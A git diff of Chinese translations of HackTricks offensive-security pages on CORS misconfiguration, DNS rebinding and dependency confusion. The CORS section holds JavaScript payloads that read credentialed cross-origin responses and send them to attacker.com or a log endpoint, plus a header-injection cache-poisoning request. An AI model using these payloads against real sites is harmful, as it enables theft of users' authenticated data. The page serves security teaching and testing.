请注意,Linux **0.0.0.0** IP 地址可用于**绕过**这些要求,以访问本地主机,因为该 IP 地址不被视为“本地”。
|
||||
|
||||
如果使用本地端点的**公共 IP 地址**(如路由器的公共 IP 地址),也可以**绕过本地网络要求**。因为在多种情况下,即使访问的是**公共 IP**,如果是**来自本地网络**,也会被授予访问权限。
|
||||
如果使用本地端点的**公共 IP 地址**(如路由器的公共 IP 地址),也可以**绕过本地网络要求**。因为在一些情况下,即使访问的是**公共 IP**,如果是**来自本地网络**,也会被授予访问权限。
|
||||
{% endhint %}
|
||||
|
||||
## 可利用的配置错误
|
||||
|
||||
观察到将 `Access-Control-Allow-Credentials` 设置为**`true`**是大多数**真实攻击**的先决条件。此设置允许浏览器发送凭据并读取响应,增强了攻击的有效性。如果没有这一设置,让浏览器发出请求而不是自己发出请求的好处将减弱,因为利用用户的 cookie 将变得不可行。
|
||||
观察到将 `Access-Control-Allow-Credentials` 设置为**`true`**是大多数**真实攻击**的先决条件。此设置允许浏览器发送凭据并读取响应,增强了攻击的效果。如果没有这个设置,让浏览器发出请求而不是自己发出请求的好处就会减少,因为利用用户的 cookie 将变得不可行。
|
||||
|
||||
### 异常情况:利用网络位置作为身份验证
|
||||
|
||||
|
@ -141,7 +145,7 @@ Content-Length: 0
|
|||
|
||||
### 在 `Access-Control-Allow-Origin` 中反射 `Origin`
|
||||
|
||||
实际情况中,`Origin` 标头的值在 `Access-Control-Allow-Origin` 中反射的情况在理论上是不太可能的,因为这些标头的组合受到限制。然而,寻求为多个 URL 启用 CORS 的开发人员可能通过复制 `Origin` 标头的值来动态生成 `Access-Control-Allow-Origin` 标头。这种方法可能会引入漏洞,特别是当攻击者使用一个旨在看起来合法的域名时,从而欺骗验证逻辑。
|
||||
在现实世界中,`Origin` 标头的值在 `Access-Control-Allow-Origin` 中反映的情况在理论上是不太可能的,因为这些标头的组合受到限制。但是,寻求为多个 URL 启用 CORS 的开发人员可能会通过复制 `Origin` 标头的值动态生成 `Access-Control-Allow-Origin` 标头。这种方法可能会引入漏洞,特别是当攻击者使用一个旨在看起来合法的域名时,从而欺骗验证逻辑。
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -154,9 +158,9 @@ location='/log?key='+this.responseText;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### 利用 `null` 源
|
||||
### 利用 `null` 起源
|
||||
|
||||
`null` 源是为重定向或本地 HTML 文件等情况指定的,具有独特的位置。一些应用程序将此源列入白名单,以促进本地开发,无意中允许任何网站通过一个沙盒 iframe 模仿 `null` 源,从而绕过 CORS 限制。
|
||||
`null` 起源是为重定向或本地 HTML 文件等情况指定的,具有独特的位置。一些应用程序将此起源列入白名单,以促进本地开发,无意中允许任何网站通过一个沙盒 iframe 模仿 `null` 起源,从而绕过 CORS 限制。
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -188,17 +192,17 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
|
||||
### 高级正则表达式绕过
|
||||
|
||||
正则表达式模式通常集中在字母数字、点(.)和连字符(-)字符上,忽略了其他可能性。例如,设计用于包含浏览器和正则表达式模式解释不同的字符的域名可以绕过安全检查。 Safari、Chrome 和 Firefox 对子域中下划线字符的处理展示了这种差异如何被利用以规避域验证逻辑。
|
||||
正则表达式模式通常集中在字母数字、句点(.)和连字符(-)字符上,忽略了其他可能性。例如,设计为包含浏览器和正则表达式模式不同解释的字符的域名可以绕过安全检查。 Safari、Chrome 和 Firefox 对子域中下划线字符的处理展示了如何利用这种差异来规避域验证逻辑。
|
||||
|
||||
**有关此绕过检查的更多信息和设置:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **和** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
|
||||
|
||||
### 从子域内的 XSS 开始
|
||||
|
||||
开发人员经常实施防御机制来防止通过白名单允许请求信息的域进行 CORS 利用。尽管采取了这些预防措施,但系统的安全性并非绝对。在白名单域中存在一个脆弱的子域,即使只有一个,也可能为通过其他漏洞(如 XSS 跨站脚本攻击)进行 CORS 利用打开大门。
|
||||
开发人员通常实施防御机制,通过将允许请求信息的域名列入白名单来防范 CORS 利用。尽管采取了这些预防措施,但系统的安全性并非绝对。在白名单域中存在一个易受攻击的子域,可能会通过其他漏洞(如 XSS 跨站脚本攻击)打开 CORS 利用的大门。
|
||||
|
||||
举例来说,考虑这样一个场景:域名 `requester.com` 被列入白名单,以访问另一个域名 `provider.com` 的资源。服务器端配置可能如下所示:
|
||||
举例说明,考虑这样一个场景:域名 `requester.com` 被列入白名单,以便从另一个域名 `provider.com` 访问资源。服务器端配置可能如下所示:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -206,13 +210,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
在这个设置中,允许所有`requester.com`的子域名访问。然而,如果一个子域名,比如`sub.requester.com`,存在XSS漏洞,攻击者可以利用这个弱点。例如,拥有`sub.requester.com`访问权限的攻击者可以利用XSS漏洞绕过CORS策略,并恶意访问`provider.com`上的资源。
|
||||
在这个设置中,允许`requester.com`的所有子域名访问。然而,如果一个子域名,比如`sub.requester.com`,存在XSS漏洞,攻击者可以利用这个弱点。例如,拥有`sub.requester.com`访问权限的攻击者可以利用XSS漏洞绕过CORS策略,并恶意访问`provider.com`上的资源。
|
||||
|
||||
### **服务器端缓存投毒**
|
||||
|
||||
[**来自这项研究**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
通过利用HTTP头注入来利用服务器端缓存投毒,可能会导致存储的跨站脚本(XSS)漏洞被诱发。当应用程序未对`Origin`头部进行非法字符的清理时,特别是对于Internet Explorer和Edge用户,就会出现这种情况。这些浏览器将(0x0d)视为合法的HTTP头终止符,从而导致HTTP头注入漏洞。
|
||||
通过利用HTTP头注入来利用服务器端缓存投毒,可能会导致存储的跨站脚本(XSS)漏洞被诱发。当应用程序未对`Origin`头部进行非法字符的清理时,特别是对于Internet Explorer和Edge用户,就会出现这种情况。这些浏览器将(0x0d)视为合法的HTTP头终止符,从而导致HTTP头注入漏洞。
|
||||
|
||||
考虑以下请求,其中操纵了`Origin`头部:
|
||||
```
|
||||
|
@ -235,9 +239,9 @@ Content-Type: text/html; charset=UTF-7
|
|||
|
||||
[**来自这项研究**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
在这种情况下,观察到一个网页实例在没有适当编码的情况下反映自定义HTTP标头的内容。具体来说,该网页反映了包含在`X-User-id`标头中的内容,其中可能包含恶意JavaScript,正如示例中标头包含的SVG图像标签旨在在加载时执行JavaScript代码一样。
|
||||
在这种情况下,观察到一个网页实例在没有适当编码的情况下反映了自定义HTTP标头的内容。具体来说,该网页反映了包含在`X-User-id`标头中的内容,其中可能包含恶意JavaScript,正如示例中标头包含的SVG图像标签旨在在加载时执行JavaScript代码一样。
|
||||
|
||||
跨域资源共享(CORS)策略允许发送自定义标头。然而,由于CORS限制,如果响应没有直接由浏览器呈现,这种注入的效用可能似乎有限。关键点在于考虑浏览器的缓存行为。如果未指定`Vary: Origin`标头,则浏览器可能会缓存恶意响应。随后,当导航到URL时,这个缓存的响应可能会直接呈现,从而绕过对初始请求的直接呈现的需求。这种机制通过利用客户端缓存增强了攻击的可靠性。
|
||||
跨域资源共享(CORS)策略允许发送自定义标头。然而,由于CORS限制,如果响应没有直接由浏览器呈现,这种注入的效用可能似乎有限。关键点在于考虑浏览器的缓存行为。如果未指定`Vary: Origin`标头,则可能会导致浏览器缓存恶意响应。随后,当导航到URL时,这个缓存的响应可能会直接呈现,绕过对初始请求的直接呈现的需求。这种机制通过利用客户端缓存增强了攻击的可靠性。
|
||||
|
||||
为了说明这种攻击,提供了一个JavaScript示例,旨在在网页环境中执行,例如通过JSFiddle。此脚本执行一个简单的操作:它向指定URL发送一个包含恶意JavaScript的自定义标头的请求。在成功完成请求后,它尝试导航到目标URL,如果响应已被缓存且未正确处理`Vary: Origin`标头,则可能触发注入脚本的执行。
|
||||
|
||||
|
@ -255,28 +259,28 @@ req.send();
|
|||
```
|
||||
## 绕过
|
||||
|
||||
### XSSI (跨站点脚本包含) / JSONP
|
||||
### XSSI (跨站脚本包含) / JSONP
|
||||
|
||||
XSSI,也称为跨站点脚本包含,是一种利用脚本标签包含资源时同源策略(SOP)不适用的漏洞类型。这是因为脚本需要能够从不同的域中包含。这种漏洞允许攻击者访问和读取使用脚本标签包含的任何内容。
|
||||
XSSI,也称为跨站脚本包含,是一种利用脚本标签包含资源时同源策略(SOP)不适用的漏洞类型。这是因为脚本需要能够从不同的域中包含。这种漏洞允许攻击者访问和读取使用脚本标签包含的任何内容。
|
||||
|
||||
当涉及到动态JavaScript或JSONP(带填充的JSON)时,特别是当使用像 cookie 这样的环境权限信息进行身份验证时,这种漏洞变得特别重要。当从不同主机请求资源时,会包含 cookie,使其对攻击者可访问。
|
||||
当涉及到动态JavaScript或JSONP(带填充的JSON)时,特别是当使用像 cookie 这样的环境权限信息进行身份验证时,这种漏洞变得特别重要。当从不同主机请求资源时,会包括 cookie,使其对攻击者可访问。
|
||||
|
||||
为了更好地理解和缓解这种漏洞,您可以使用位于 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) 的 BurpSuite 插件。该插件可以帮助识别和解决您的 Web 应用程序中潜在的 XSSI 漏洞。
|
||||
为了更好地理解和缓解这种漏洞,您可以使用 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) 上提供的 BurpSuite 插件。该插件可以帮助识别和解决您的 Web 应用程序中潜在的 XSSI 漏洞。
|
||||
|
||||
[**在此处阅读有关不同类型 XSSI 及如何利用它们的更多信息。**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
尝试在请求中添加一个 **`callback`** **参数**。也许页面已准备将数据发送为 JSONP。在这种情况下,页面将以 `Content-Type: application/javascript` 返回数据,从而绕过 CORS 策略。
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
![](<../.gitbook/assets/image (853).png>)
|
||||
|
||||
### 简单(无用?)绕过
|
||||
|
||||
绕过 `Access-Control-Allow-Origin` 限制的一种方法是请求 Web 应用程序代表您发出请求并返回响应。然而,在这种情况下,由于请求是向不同域发出的,最终受害者的凭据不会被发送。
|
||||
绕过 `Access-Control-Allow-Origin` 限制的一种方法是请求 Web 应用程序代表您发出请求并返回响应。然而,在这种情况下,由于请求是发送到不同的域,最终受害者的凭据不会被发送。
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape):此工具提供一个代理,转发您的请求及其标头,同时欺骗 Origin 标头以匹配请求的域。这有效地绕过了 CORS 策略。以下是使用 XMLHttpRequest 的示例用法:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape):此工具提供了另一种代理请求的替代方法。服务器不会原样传递您的请求,而是使用指定的参数发出自己的请求。
|
||||
|
||||
### Iframe + Popup 绕过
|
||||
### Iframe + 弹出窗口绕过
|
||||
|
||||
您可以通过**创建一个 iframe**,**然后从中打开一个新窗口**来**绕过 CORS 检查**,例如 `e.origin === window.origin`。有关更多信息,请参阅以下页面:
|
||||
|
||||
|
@ -286,21 +290,21 @@ XSSI,也称为跨站点脚本包含,是一种利用脚本标签包含资源
|
|||
|
||||
### 通过 TTL 进行 DNS 重绑定
|
||||
|
||||
通过 TTL 进行 DNS 重绑定是一种绕过某些安全措施的技术,通过操纵 DNS 记录来实现。其工作原理如下:
|
||||
通过 TTL 进行 DNS 重绑定是一种利用操纵 DNS 记录绕过某些安全措施的技术。其工作原理如下:
|
||||
|
||||
1. 攻击者创建一个网页,使受害者访问它。
|
||||
2. 然后,攻击者更改自己域的 DNS(IP)以指向受害者的网页。
|
||||
3. 受害者的浏览器缓存 DNS 响应,可能具有 TTL(生存时间)值,指示 DNS 记录应被视为有效的时间。
|
||||
4. 当 TTL 到期时,受害者的浏览器会发出新的 DNS 请求,允许攻击者在受害者的页面上执行 JavaScript 代码。
|
||||
3. 受害者的浏览器缓存 DNS 响应,其中可能有 TTL(生存时间)值,指示 DNS 记录应被视为有效的时间。
|
||||
4. 当 TTL 到期时,受害者的浏览器会发出新的 DNS 请求,使攻击者能够在受害者页面上执行 JavaScript 代码。
|
||||
5. 通过控制受害者的 IP,攻击者可以从受害者那里获取信息,而无需向受害者服务器发送任何 cookie。
|
||||
|
||||
需要注意的是,浏览器具有缓存机制,即使 TTL 值较低,也可能阻止立即滥用此技术。
|
||||
|
||||
DNS 重绑定可用于绕过受害者执行的显式 IP 检查,或者用于用户或机器人在同一页面停留较长时间的情况,从而使缓存过期。
|
||||
|
||||
如果需要快速滥用 DNS 重绑定,您可以使用 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) 等服务。
|
||||
如果需要快速滥用 DNS 重绑定,可以使用 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) 等服务。
|
||||
|
||||
要运行自己的 DNS 重绑定服务器,您可以利用类似 **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) 的工具。这涉及暴露本地端口 53/udp,创建指向它的 A 记录(例如 ns.example.com),并创建指向先前创建的 A 子域的 NS 记录(例如 ns.example.com)。然后,ns.example.com 子域的任何子域都将由您的主机解析。
|
||||
要运行自己的 DNS 重绑定服务器,可以利用类似 **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) 的工具。这涉及暴露本地端口 53/udp,创建指向它的 A 记录(例如 ns.example.com),并创建指向先前创建的 A 子域的 NS 记录(例如 ns.example.com)。然后,ns.example.com 子域的任何子域都将由您的主机解析。
|
||||
|
||||
您还可以在 [http://rebind.it/singularity.html](http://rebind.it/singularity.html) 上探索一个公开运行的服务器,以进一步了解和实验。
|
||||
|
||||
|
@ -310,40 +314,40 @@ DNS 重绑定可用于绕过受害者执行的显式 IP 检查,或者用于用
|
|||
|
||||
1. 最初,当受害者发出 DNS 请求时,会收到攻击者的 IP 地址作为响应。
|
||||
2. 为了绕过缓存防御,攻击者利用服务工作者。服务工作者会洪泛 DNS 缓存,有效删除缓存的攻击者服务器名称。
|
||||
3. 当受害者的浏览器发出第二个 DNS 请求时,现在会收到 IP 地址 127.0.0.1,通常指向本地主机。
|
||||
3. 当受害者的浏览器发出第二个 DNS 请求时,现在会收到 IP 地址 127.0.0.1 作为响应,通常指向本地主机。
|
||||
|
||||
通过使用服务工作者洪泛 DNS 缓存,攻击者可以操纵 DNS 解析过程,并迫使受害者的浏览器发出第二个请求,这次解析为攻击者所需的 IP 地址。
|
||||
|
||||
### 通过 **缓存** 进行 DNS 重绑定
|
||||
|
||||
绕过缓存防御的另一种方法是利用 DNS 提供商为同一子域设置多个 IP 地址。其工作原理如下:
|
||||
绕过缓存防御的另一种方法是利用 DNS 提供商为同一子域提供多个 IP 地址。其工作原理如下:
|
||||
|
||||
1. 攻击者在 DNS 提供商中为同一子域设置两个 A 记录(或一个具有两个 IP 的 A 记录)。
|
||||
1. 攻击者为 DNS 提供商的同一子域设置两个 A 记录(或一个具有两个 IP 的 A 记录)。
|
||||
2. 当浏览器检查这些记录时,会收到两个 IP 地址。
|
||||
3. 如果浏览器决定首先使用攻击者的 IP 地址,攻击者可以提供执行 HTTP 请求到同一域的有效载荷。
|
||||
4. 但是,一旦攻击者获得受害者的 IP 地址,他们将停止响应受害者的浏览器。
|
||||
5. 当浏览器意识到域名无响应时,会继续使用第二个给定的 IP 地址。
|
||||
6. 通过访问第二个 IP 地址,浏览器绕过了同源策略(SOP),允许攻击者滥用此功能并获取和外泄受害者的信息。
|
||||
5. 当浏览器意识到域名无响应时,会继续使用给定的第二个 IP 地址。
|
||||
6. 通过访问第二个 IP 地址,浏览器绕过了同源策略(SOP),使攻击者能够滥用此功能并获取和外泄受害者的信息。
|
||||
|
||||
此技术利用浏览器在为域提供多个 IP 地址时的行为。通过策略性地控制响应并操纵浏览器选择的 IP 地址,攻击者可以利用 SOP 并从受害者那里访问信息。
|
||||
该技术利用了浏览器在为域提供多个 IP 地址时的行为。通过策略性地控制响应并操纵浏览器选择的 IP 地址,攻击者可以利用 SOP 并从受害者那里访问信息。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,为了访问 localhost,您应尝试在 Windows 中重新绑定 **127.0.0.1**,在 Linux 中重新绑定 **0.0.0.0**。\
|
||||
像 godaddy 或 cloudflare 这样的提供商不允许我使用 IP 0.0.0.0,但 AWS route53 允许我创建一个具有 2 个 IP 的 A 记录,其中一个是 "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
有关更多信息,请查看 [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
### 其他常见的绕过方式
|
||||
### 其他常见绕过方式
|
||||
|
||||
* 如果**不允许内部IP**,可能会**忘记禁止0.0.0.0**(适用于Linux和Mac)
|
||||
* 如果**不允许内部IP**,可以响应一个**CNAME**到**localhost**(适用于Linux和Mac)
|
||||
* 如果**不允许内部IP**,可以响应**CNAME**到**localhost**(适用于Linux和Mac)
|
||||
* 如果**不允许内部IP**作为DNS响应,可以响应**CNAMEs到内部服务**,如www.corporate.internal。
|
||||
|
||||
### DNS Rebinding武器化
|
||||
|
||||
您可以在演讲[Gerald Doussot - DNS Rebinding攻击的现状和起源的独特性 - DEF CON 27大会](https://www.youtube.com/watch?v=y9-0lICNjOQ)中找到有关先前绕过技术以及如何使用以下工具的更多信息。
|
||||
您可以在[DEF CON 27会议中的Gerald Doussot - DNS Rebinding攻击的现状和起源的独特性](https://www.youtube.com/watch?v=y9-0lICNjOQ)中找到有关先前绕过技术以及如何使用以下工具的更多信息。
|
||||
|
||||
[**`起源的独特性`**](https://github.com/nccgroup/singularity)是一个执行[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括重新绑定攻击服务器DNS名称的IP地址到目标机器的IP地址以及提供攻击载荷以利用目标机器上的易受攻击软件所需的组件。
|
||||
|
||||
|
@ -377,15 +381,20 @@ DNS 重绑定可用于绕过受害者执行的显式 IP 检查,或者用于用
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
|
|
|
@ -5,20 +5,25 @@
|
|||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
简而言之,依赖混淆漏洞发生在项目使用具有**拼写错误**、**不存在**或**未指定版本**的库,并且所使用的依赖库允许从**公共存储库中获取更新版本**时。
|
||||
简而言之,依赖混淆漏洞发生在项目使用具有**拼写错误**、**不存在**或**未指定版本**的库,并且所使用的依赖库允许从**公共**存储库中**获取更新版本**时。
|
||||
|
||||
* **拼写错误**:导入**`reqests`**而不是`requests`
|
||||
* **不存在**:导入`company-logging`,一个**不再存在**的内部库
|
||||
* **未指定版本**:导入一个**内部**的**存在**的`company-requests`库,但存储库检查**公共存储库**以查看是否有**更高版本**。
|
||||
* **未指定版本**:导入一个**内部**的**存在的**`company-requests`库,但存储库检查**公共存储库**以查看是否有**更高版本**。
|
||||
|
||||
## 利用
|
||||
|
||||
|
@ -28,35 +33,39 @@
|
|||
|
||||
### 拼写错误和不存在
|
||||
|
||||
如果您的公司试图**导入一个不存在的库**,很可能库存储库会在**公共存储库**中搜索它。 如果攻击者已经创建了它,您的代码和运行的机器很可能会受到威胁。
|
||||
如果您的公司试图**导入一个不存在的库**,很可能库的存储库会在**公共存储库**中搜索它。 如果攻击者已经创建了它,您的代码和运行的机器很可能会受到威胁。
|
||||
|
||||
### 未指定版本
|
||||
|
||||
开发人员很常见**不指定库的任何版本**,或者只指定一个**主要版本**。 然后,解释器将尝试下载符合这些要求的**最新版本**。\
|
||||
如果库是一个**已知的外部库**(如python `requests`),**攻击者无法做太多事情**,因为他将无法创建一个名为`requests`的库(除非他是原始作者)。\
|
||||
但是,如果库是**内部**的,就像在这个例子中的`requests-company`,如果**库存储库**允许**在外部也检查新版本**,它将搜索公开可用的更新版本。\
|
||||
但是,如果库是**内部**的,就像在这个示例中的`requests-company`,如果**库存储库**允许**在外部也检查新版本**,它将搜索公开可用的更新版本。\
|
||||
因此,如果**攻击者知道**公司正在使用`requests-company`库**版本1.0.1**(允许次要更新)。 他可以**发布**库`requests-company`**版本1.0.2**,公司将**使用该库**而不是内部库。
|
||||
|
||||
## AWS修复
|
||||
|
||||
AWS在AWS **CodeArtifact**中发现了此漏洞(阅读[**此博客文章中的详细信息**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
|
||||
这个漏洞在AWS的**CodeArtifact**中发现(阅读这篇[**博客文章中的详细信息**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
|
||||
AWS通过允许指定库是内部还是外部来修复了这个问题,以避免从外部存储库下载内部依赖项。
|
||||
|
||||
## 查找易受攻击的库
|
||||
|
||||
在[**关于依赖混淆的原始文章**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)中,作者搜索了数千个包含JavaScript项目依赖项的package.json文件。
|
||||
在关于**依赖混淆**的[**原始帖子中**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610),作者搜索了数千个包含JavaScript项目依赖项的package.json文件。
|
||||
|
||||
## 参考
|
||||
|
||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
|
|
@ -1,26 +1,30 @@
|
|||
# OAuth到账户接管
|
||||
# OAuth 转账户接管
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
